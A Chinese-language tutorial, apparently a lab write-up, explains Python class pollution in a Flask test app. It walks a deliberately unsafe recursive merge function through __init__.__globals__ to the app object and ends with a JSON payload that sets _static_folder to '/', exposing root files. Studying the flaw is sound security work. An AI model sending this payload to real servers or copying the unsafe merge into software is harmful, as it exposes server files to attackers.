本文最后更新于 2025-11-17T16:00:45+08:00
测试源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from flask import Flask,request import json app = Flask(__name__)
def merge(src,dst): for k,v in src.items(): if hasattr(dst,'__getitem__'): if dst.get(k) and type(v) == dict: merge(v,dst.get(k)) else: dst[k] = v elif hasattr(dst,k) and type(v) == dict: merge(v,getattr(dst,k)) else: setattr(dst,k,v)
class cls(): def __init__(self): pass instance = cls()
@app.route('/',methods=['POST','GET']) def index(): if request.data: merge(json.loads(request.data),instance) return "This is index" @app.route('/src',methods=['POST','GET']) def src(): return str(open(__file__).read())
if __name__ == '__main__': app.run(host='0.0.0.0', port=9878, debug=False)
|
下面这段代码就是典型的存在原型链污染
1 2 3 4 5 6 7 8 9 10 11
| def merge(src,dst): for k,v in src.items(): if hasattr(dst,'__getitem__'): if dst.get(k) and type(v) == dict: merge(v,dst.get(k)) else: dst[k] = v elif hasattr(dst,k) and type(v) == dict: merge(v,getattr(dst,k)) else: setattr(dst,k,v)
|
原理
_static_folder是Flask应用的静态文件目录配置,利用原型链污染将其修改为根目录,从而可以在static目录下访问到根目录下的文件
解析
instance
从以下代码中可以看出instance是cls类的一个实例化对象
1 2 3 4
| class cls(): def __init__(self): pass instance = cls()
|
所以利用print打印出的是该对象的内存地址和类型

__init__
__init__是实例的绑定方法,这个方法在类定义的时候创建,包含了定义时上下文信息
最关键的是方法对象有__globals__属性,指向定义时的全局命名空间
1
| print(instance.__init__)
|

__globals__
1
| instance.__init__.__globals__
|
__globals__是函数对象的一个属性,它引用该函数定义时的全局命名空间(全局变量字典)
可以通过__globals__访问到定义时的所有全局变量
1
| print(instance.__init__.__globals__)
|

通过上面图中可以发现app变量在这个全局作用域中,所以可以通过这个链访问到 Flask 应用实例
['app']
1
| instance.__init__.__globals__['app']
|
下面这句代码使app实例成为全局变量,从而可以被任何在同一个模块中定义的函数通过__globals__访问到,这就创造了原型污染攻击的条件
1
| print(instance.__init__.__globals__['app'])
|

__dict__
1
| instance.__init__.__globals__['app'].__dict__
|
__dict__是一个字典,包含了对象的所有实例属性
通过['app'].__dict__可以获取到 Flask 应用实例的所有属性
1
| print(instance.__init__.__globals__['app'].__dict__)
|

其中就可以看到要攻击的目标属性_static_folder
_static_folder
1
| instance.__init__.__globals__['app']._static_folder
|
上面已经可以看到要攻击的目标属性_static_folder
可以直接通过['app']._static_folder访问到该属性
1
| print(instance.__init__.__globals__['app']._static_folder)
|

污染_static_folder
可以看到此时_static_folder这个属性默认值是static,可以利用原型链污染漏洞将其值污染为根目录/,从而可以在该目录下访问到根目录的文件
1 2 3 4 5 6 7 8 9
| { "__init__": { "__globals__": { "app": { "_static_folder": "/" } } } }
|

然后就可以在static目录访问到根目录文件
